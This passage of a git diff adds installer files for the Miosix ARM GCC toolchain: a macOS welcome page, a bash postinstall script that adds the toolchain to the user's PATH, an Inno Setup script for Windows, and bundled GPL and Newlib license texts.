Luigi Rucco and Terraneo Federico + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + + This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, see diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Resources/welcome.rtf b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Resources/welcome.rtf new file mode 100644 index 000000000..72a250f00 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Resources/welcome.rtf @@ -0,0 +1,39 @@ +{\rtf1\ansi\ansicpg1252\cocoartf2822 +\cocoatextscaling0\cocoaplatform0{\fonttbl\f0\fswiss\fcharset0 Helvetica-Bold;\f1\fswiss\fcharset0 Helvetica;\f2\fmodern\fcharset0 Courier; +\f3\fswiss\fcharset0 Helvetica-Oblique;} +{\colortbl;\red255\green255\blue255;} +{\*\expandedcolortbl;;} +{\*\listtable{\list\listtemplateid1\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace360\levelindent0{\*\levelmarker \{disc\}}{\leveltext\leveltemplateid1\'01\uc0\u8226 ;}{\levelnumbers;}\fi-360\li720\lin720 }{\listname ;}\listid1}} +{\*\listoverridetable{\listoverride\listid1\listoverridecount0\ls1}} +\paperw11900\paperh16840\margl1440\margr1440\vieww13100\viewh10880\viewkind0 +\pard\tx686\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\pardirnatural\partightenfactor0 + +\f0\b\fs28 \cf0 Miosix Toolchain for macOS\ + +\fs24 (GCC 9.2.0-mp3.4) +\f1\b0 \ +\ +This package will install the following components to the " +\f2 \\opt\\arm-miosix-eabi +\f1 " directory:\ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\li720\fi-720\pardirnatural\partightenfactor0 +\ls1\ilvl0\cf0 {\listtext \uc0\u8226 }GNU GCC with Miosix-specific patches\ +{\listtext \uc0\u8226 }GNU Binutils\ +{\listtext \uc0\u8226 }GNU GDB\ +{\listtext \uc0\u8226 }GNU Make\ +{\listtext \uc0\u8226 }Newlib\ +{\listtext \uc0\u8226 }lpc21isp\ +{\listtext \uc0\u8226 }mx-postlinker\ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\li720\fi-720\pardirnatural\partightenfactor0 +\cf0 \ +\pard\tx220\tx720\tx1133\tx1700\tx2267\tx2834\tx3401\tx3968\tx4535\tx5102\tx5669\tx6236\tx6803\pardirnatural\partightenfactor0 +\cf0 It will also update the current user's shell profile script in order to add " +\f2 \\opt\\arm-miosix-eabi\\bin +\f1 " to the PATH (only if the user's shell is +\f3\i bash +\f1\i0 , +\f3\i zsh +\f1\i0 or +\f3\i tcsh +\f1\i0 ).\ +} \ No newline at end of file diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/ScriptsTemplates/postinstall b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/ScriptsTemplates/postinstall new file mode 100755 index 000000000..39fd27f5a --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/ScriptsTemplates/postinstall @@ -0,0 +1,83 @@ +#!/bin/bash + +# The following script is inspired by the one used by macports, so credit +# to them for figuring out how to detect and handle each different shell. +# It is tradition for macOS power users to use a shell of their own liking +# and Apple itself has switched from bash to zsh in macOS 10.15 so we must +# take that into account. + +PREFIX= +BINPATH=${PREFIX}/bin +DSCL=/usr/bin/dscl + +fail() +{ + echo "$1" + exit 0 +} + +echo 'Modifying PATH for current user.' + +# Determine the user's shell, in order to choose an appropriate configuration file we'll be tweaking. +# Exit nicely if the shell is any other than bash or tcsh, as that's considered non-standard. +USHELL=$(${DSCL} . -read "/Users/${USER}" shell) || fail "error: could not determine shell name!" +# leave full path to shell +USHELL=${USHELL#*shell: } + +case "${USHELL}" in + */tcsh) + echo "Detected tcsh" + ENV_COMMAND="setenv" + ASSIGN=" " + if [[ -f "${HOME}/.tcshrc" ]]; then + CONF_FILE=tcshrc + elif [[ -f "${HOME}/.cshrc" ]]; then + CONF_FILE=cshrc + else + CONF_FILE=tcshrc + fi + ;; + */bash) + echo "Detected bash" + ENV_COMMAND="export" + ASSIGN="=" + if [[ -f "${HOME}/.bash_profile" ]]; then + CONF_FILE=bash_profile + elif [[ -f "${HOME}/.bash_login" ]]; then + CONF_FILE=bash_login + else + CONF_FILE=profile + fi + ;; + */zsh) + echo "Detected zsh" + ENV_COMMAND="export" + ASSIGN="=" + CONF_FILE="zprofile" + ;; + *) + fail "error: unknown shell ($USHELL)!" + ;; +esac + +# Adding our setting to the PATH variable if not already there: +# Run as the $USER: /usr/bin/su $USER -l +# Run a command in the shell: -c "/usr/bin/printenv PATH" +# Only process the last line output (profile may print info): tail -n 1 +# Output each path on its own line: tr ":" "\n" +# Look for exactly the BINPATH: grep "^${BINPATH}$" +if /usr/bin/su "${USER}" -l -c "/usr/bin/printenv PATH" | tail -n 1 | tr ":" "\n" | grep "^${BINPATH}$" > /dev/null; then + echo "Your shell already has the right PATH environment variable!" + exit 0 +fi + +if [[ -f "${HOME}/.${CONF_FILE}" ]]; then + echo "Backing up ${HOME}/.${CONF_FILE} to ${HOME}/.${CONF_FILE}.tmp" + /bin/cp -fp "${HOME}/.${CONF_FILE}" "${HOME}/.${CONF_FILE}.tmp" || fail 'Could not backup profile' +fi +{ + echo -e "# Miosix toolchain PATH addition" + echo "${ENV_COMMAND} PATH${ASSIGN}${BINPATH}:\$PATH" +} >> "${HOME}/.${CONF_FILE}" +chown "${USER}" "${HOME}/.${CONF_FILE}" || echo "warning: unable to fix permissions on ${HOME}/.${CONF_FILE}!" +echo "Modification of user PATH completed." diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/MiosixInstaller.iss b/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/MiosixInstaller.iss new file mode 100644 index 000000000..b62b9992b --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/MiosixInstaller.iss @@ -0,0 +1,136 @@ + +#define MyAppName "Miosix Toolchain" +#define MyAppVersion "GCC 9.2.0mp3.3" +#define MyAppURL "https://miosix.org" +#define MyAppGUID "{{5270879A-9707-4BCB-930F-2FC7B5621061}" + +[Setup] +; NOTE: The value of AppId uniquely identifies this application. +; Do not use the same AppId value in installers for other applications. +AppId={#MyAppGUID} +AppName={#MyAppName} +AppVersion={#MyAppVersion} +AppPublisherURL={#MyAppURL} +AppSupportURL={#MyAppURL} +AppUpdatesURL={#MyAppURL} +DefaultDirName=C:\arm-miosix-eabi +; Forcefully install in this directory (GCC hates having spaces in the path) +DisableDirPage=yes +DefaultGroupName={#MyAppName} +; Allow user to disable adding stuff to the start menu +AllowNoIcons=yes +; Produce an installer named MiosixToolchainInstaller9.2.0mp3.3.exe +OutputBaseFilename=MiosixToolchainInstaller9.2.0mp3.3 +Compression=lzma +; Compress everything into one lzma stream +SolidCompression=yes +LicenseFile=license.txt +; The change in %PATH% takes effect after a restart +AlwaysRestart=yes + +[Languages] +Name: "english"; MessagesFile: "compiler:Default.isl" + +[Files] +; Source is where the InnoSetup compiler finds the directory to install +Source: "..\..\dist\opt\arm-miosix-eabi\*"; DestDir: "{app}"; Flags: ignoreversion recursesubdirs createallsubdirs +; NOTE: Don't use "Flags: ignoreversion" on any shared system files + +[Icons] +; Add stuff to the start menu +Name: "{group}\{cm:UninstallProgram,{#MyAppName}}"; Filename: "{uninstallexe}" + +; Add C:\arm-miosix-eabi to %PATH%, found on stackoverflow +; http://stackoverflow.com/questions/3304463/how-do-i-modify-the-path-environment-variable-when-running-an-inno-setup-install + +[Registry] +Root: HKLM; Subkey: "SYSTEM\CurrentControlSet\Control\Session Manager\Environment"; \ + ValueType: expandsz; ValueName: "Path"; ValueData: "{olddata};C:\arm-miosix-eabi\bin"; \ + Check: NeedsAddPath('C:\arm-miosix-eabi\bin') + +[Code] + +function NeedsAddPath(Param: string): boolean; +var + OrigPath: string; +begin + if not RegQueryStringValue(HKLM,'SYSTEM\CurrentControlSet\Control\Session Manager\Environment','Path', OrigPath) + then begin + Result := True; + exit; + end; + // look for the path with leading and trailing semicolon + Result := Pos(';' + UpperCase(Param) + ';', ';' + UpperCase(OrigPath) + ';') = 0; +end; + +// Make the installer uninstall the previous version +// http://stackoverflow.com/questions/2000296/innosetup-how-to-automatically-uninstall-previous-installed-version + +function FindUninstaller(): String; +var + UnistallerRegKey1: String; + UnistallerRegKey2: String; +begin + // The uninstaller path can be in four places, according to stackoverflow + UnistallerRegKey1 := ExpandConstant('Software\Microsoft\Windows\CurrentVersion\Uninstall\{#emit SetupSetting("AppId")}_is1'); + UnistallerRegKey2 := ExpandConstant('Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{#emit SetupSetting("AppId")}_is1'); + if RegQueryStringValue(HKLM, UnistallerRegKey1, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKCU, UnistallerRegKey1, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKLM, UnistallerRegKey2, 'UninstallString', Result) then + begin + Exit; + end; + if RegQueryStringValue(HKCU, UnistallerRegKey2, 'UninstallString', Result) then + begin + Exit; + end; + Result := ''; +end; + +function InitializeSetup(): Boolean; +var + Uninstaller : String; + ResultCode: Integer; + i: Integer; +begin + // FileExists doesn't like quotes + Uninstaller := RemoveQuotes(FindUninstaller()); + Log('Uninstaller variable is set to "'+Uninstaller+'"'); + if not FileExists(Uninstaller) then + begin + Result := True; + Exit; + end; + if MsgBox('A previous version is already installed. Replace it?', mbInformation, MB_YESNO) <> IDYES then + begin + Result := False; + Exit; + end; + if Exec(Uninstaller, '/SILENT /NORESTART /SUPPRESSMSGBOXES','', SW_SHOW, ewWaitUntilTerminated, ResultCode) = False then + begin + MsgBox('Error: the uninstaller failed', mbError, MB_OK); + Result := False; + Exit; + end; + // Workaround for "the uninstaller returns before the uninstaller is deleted" + // http://stackoverflow.com/questions/18902060/disk-caching-issue-with-inno-setup + i := 0; + repeat + Sleep(500); + i := i + 1; + until not FileExists(Uninstaller) or (i >= 30); + if (i >= 30) then + begin + MsgBox('Error: the previous uninstaller was not deleted', mbError, MB_OK); + Result := False; + Exit; + end; + Log('Uninstaller completed'); + Result := True; +end; diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/license.txt b/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/license.txt new file mode 100644 index 000000000..9dc809fc8 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/license.txt @@ -0,0 +1,1788 @@ +The following installer will install: +GNU GCC with Miosix-specific patches +GNU Binutils +GNU GDB +GNU Make +Newlib +lpc21isp +mx-postlinker + +=== GCC, Binutils, GDB, Make License === + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. 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If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. + +=== Newlib License === + +The newlib subdirectory is a collection of software from several sources. + +Each file may have its own copyright/license that is embedded in the source +file. Unless otherwise noted in the body of the source file(s), the following copyright +notices will apply to the contents of the newlib subdirectory: + +(1) Red Hat Incorporated + +Copyright (c) 1994-2009 Red Hat, Inc. All rights reserved. + +This copyrighted material is made available to anyone wishing to use, +modify, copy, or redistribute it subject to the terms and conditions +of the BSD License. This program is distributed in the hope that +it will be useful, but WITHOUT ANY WARRANTY expressed or implied, +including the implied warranties of MERCHANTABILITY or FITNESS FOR +A PARTICULAR PURPOSE. A copy of this license is available at +http://www.opensource.org/licenses. Any Red Hat trademarks that are +incorporated in the source code or documentation are not subject to +the BSD License and may only be used or replicated with the express +permission of Red Hat, Inc. + +(2) University of California, Berkeley + +Copyright (c) 1981-2000 The Regents of the University of California. +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of the University nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGE. + +(3) David M. Gay (AT&T 1991, Lucent 1998) + +The author of this software is David M. Gay. + +Copyright (c) 1991 by AT&T. + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR AT&T MAKES ANY +REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY +OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +------------------------------------------------------------------- + +The author of this software is David M. Gay. + +Copyright (C) 1998-2001 by Lucent Technologies +All Rights Reserved + +Permission to use, copy, modify, and distribute this software and +its documentation for any purpose and without fee is hereby +granted, provided that the above copyright notice appear in all +copies and that both that the copyright notice and this +permission notice and warranty disclaimer appear in supporting +documentation, and that the name of Lucent or any of its entities +not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY +SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF +THIS SOFTWARE. + + +(4) Advanced Micro Devices + +Copyright 1989, 1990 Advanced Micro Devices, Inc. + +This software is the property of Advanced Micro Devices, Inc (AMD) which +specifically grants the user the right to modify, use and distribute this +software provided this notice is not removed or altered. All other rights +are reserved by AMD. + +AMD MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO THIS +SOFTWARE. IN NO EVENT SHALL AMD BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL +DAMAGES IN CONNECTION WITH OR ARISING FROM THE FURNISHING, PERFORMANCE, OR +USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the 29K Technical Support Center at +800-29-29-AMD (800-292-9263) in the USA, or 0800-89-1131 in the UK, or +0031-11-1129 in Japan, toll free. The direct dial number is 512-462-4118. + +Advanced Micro Devices, Inc. +29K Support Products +Mail Stop 573 +5900 E. Ben White Blvd. +Austin, TX 78741 +800-292-9263 + +(5) + +(6) + +(7) Sun Microsystems + +Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + +Developed at SunPro, a Sun Microsystems, Inc. business. +Permission to use, copy, modify, and distribute this +software is freely granted, provided that this notice is preserved. + +(8) Hewlett Packard + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(9) Hans-Peter Nilsson + +Copyright (C) 2001 Hans-Peter Nilsson + +Permission to use, copy, modify, and distribute this software is +freely granted, provided that the above copyright notice, this notice +and the following disclaimer are preserved with no changes. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. + +(10) Stephane Carrez (m68hc11-elf/m68hc12-elf targets only) + +Copyright (C) 1999, 2000, 2001, 2002 Stephane Carrez (stcarrez@nerim.fr) + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(11) Christopher G. Demetriou + +Copyright (c) 2001 Christopher G. Demetriou +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(12) SuperH, Inc. + +Copyright 2002 SuperH, Inc. All rights reserved + +This software is the property of SuperH, Inc (SuperH) which specifically +grants the user the right to modify, use and distribute this software +provided this notice is not removed or altered. All other rights are +reserved by SuperH. + +SUPERH MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO +THIS SOFTWARE. IN NO EVENT SHALL SUPERH BE LIABLE FOR INDIRECT, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH OR ARISING FROM +THE FURNISHING, PERFORMANCE, OR USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the SuperH Support Center via +e-mail at softwaresupport@superh.com . + +SuperH, Inc. +405 River Oaks Parkway +San Jose +CA 95134 +USA + +(13) Royal Institute of Technology + +Copyright (c) 1999 Kungliga Tekniska Högskolan +(Royal Institute of Technology, Stockholm, Sweden). +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of KTH nor the names of its contributors may be + used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY KTH AND ITS CONTRIBUTORS ``AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KTH OR ITS CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR +BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(14) Alexey Zelkin + +Copyright (c) 2000, 2001 Alexey Zelkin +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(15) Andrey A. Chernov + +Copyright (C) 1997 by Andrey A. Chernov, Moscow, Russia. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(16) FreeBSD + +Copyright (c) 1997-2002 FreeBSD Project. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(17) S. L. Moshier + +Author: S. L. Moshier. + +Copyright (c) 1984,2000 S.L. Moshier + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, THE AUTHOR MAKES NO REPRESENTATION +OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS +SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +(18) Citrus Project + +Copyright (c)1999 Citrus Project, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 